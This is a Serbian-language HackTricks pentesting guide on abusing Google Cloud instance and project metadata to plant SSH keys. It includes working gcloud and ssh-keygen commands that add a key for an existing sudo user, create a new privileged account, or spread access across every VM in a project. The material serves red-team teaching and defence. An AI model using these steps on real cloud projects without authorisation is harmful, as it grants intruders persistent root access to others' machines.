GCP - Dodavanje prilagođenih SSH metapodataka

Reading time: 5 minutes

GCP - Dodavanje prilagođenih SSH metapodataka

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Modifikacija metapodataka

Modifikacija metapodataka na instanci može dovesti do značajnih bezbednosnih rizika ako napadač dobije potrebne dozvole.

Uključivanje SSH ključeva u prilagođene metapodatke

Na GCP-u, Linux sistemi često izvršavaju skripte iz Python Linux Guest Environment for Google Compute Engine. Kritična komponenta ovoga je accounts daemon, koji je dizajniran da redovno proverava krajnju tačku metapodataka instance za ažuriranja autorizovanih SSH javnih ključeva.

Stoga, ako napadač može da modifikuje prilagođene metapodatke, mogao bi da natera daemon da pronađe novi javni ključ, koji će biti obrađen i integrisan u lokalni sistem. Ključ će biti dodat u ~/.ssh/authorized_keys datoteku postojećeg korisnika ili potencijalno kreirati novog korisnika sa sudo privilegijama, u zavisnosti od formata ključa. I napadač će moći da kompromituje host.

Dodavanje SSH ključa postojećem privilegovanom korisniku

  1. Istražite postojeće SSH ključeve na instanci:
  • Izvršite komandu da opišete instancu i njene metapodatke kako biste locirali postojeće SSH ključeve. Relevantni deo u izlazu biće pod metadata, posebno ključ ssh-keys.
bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Obratite pažnju na format SSH ključeva: korisničko ime prethodi ključevi, odvojeni dvotačkom.
  1. Pripremite tekstualnu datoteku za SSH ključ metapodatke:
  • Sačuvajte detalje korisničkih imena i njihovih odgovarajućih SSH ključeva u tekstualnu datoteku pod imenom meta.txt. Ovo je neophodno za očuvanje postojećih ključeva dok dodajete nove.
  1. Generišite novi SSH ključ za ciljanog korisnika (alice u ovom primeru):
  • Koristite komandu ssh-keygen da generišete novi SSH ključ, osiguravajući da polje komentara (-C) odgovara ciljanom korisničkom imenu.
bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Dodajte novi javni ključ u meta.txt, imitujući format koji se nalazi u metapodacima instance.
  1. Ažurirajte metapodatke SSH ključeva instance:
  • Primijenite ažurirane metapodatke SSH ključeva na instancu koristeći komandu gcloud compute instances add-metadata.
bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Pristupite instanci koristeći novi SSH ključ:
  • Povežite se na instancu putem SSH koristeći novi ključ, pristupajući shell-u u kontekstu ciljanog korisnika (alice u ovom primeru).
bash
ssh -i ./key alice@localhost
sudo id

Kreirajte novog privilegovanog korisnika i dodajte SSH ključ

Ako nijedan zanimljiv korisnik nije pronađen, moguće je kreirati novog koji će dobiti sudo privilegije:

bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH ključevi na nivou projekta

Moguće je proširiti domet SSH pristupa na više Virtuelnih Mašina (VM) u cloud okruženju primenom SSH ključeva na nivou projekta. Ovaj pristup omogućava SSH pristup bilo kojoj instanci unutar projekta koja nije eksplicitno blokirala SSH ključeve na nivou projekta. Evo sažetog vodiča:

  1. Primena SSH ključeva na nivou projekta:
  • Koristite komandu gcloud compute project-info add-metadata da dodate SSH ključeve iz meta.txt u metapodatke projekta. Ova akcija osigurava da SSH ključevi budu prepoznati na svim VM-ovima u projektu, osim ako VM nema omogućenu opciju "Blokiraj SSH ključeve na nivou projekta".
bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH u instance koristeći ključeve na nivou projekta:
  • Sa SSH ključevima na nivou projekta, možete SSH u bilo koju instancu unutar projekta. Instance koje ne blokiraju ključeve na nivou projekta će prihvatiti SSH ključ, omogućavajući pristup.
  • Direktna metoda za SSH u instancu je korišćenje komande gcloud compute ssh [INSTANCE]. Ova komanda koristi vaše trenutno korisničko ime i SSH ključeve postavljene na nivou projekta da pokuša pristup.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks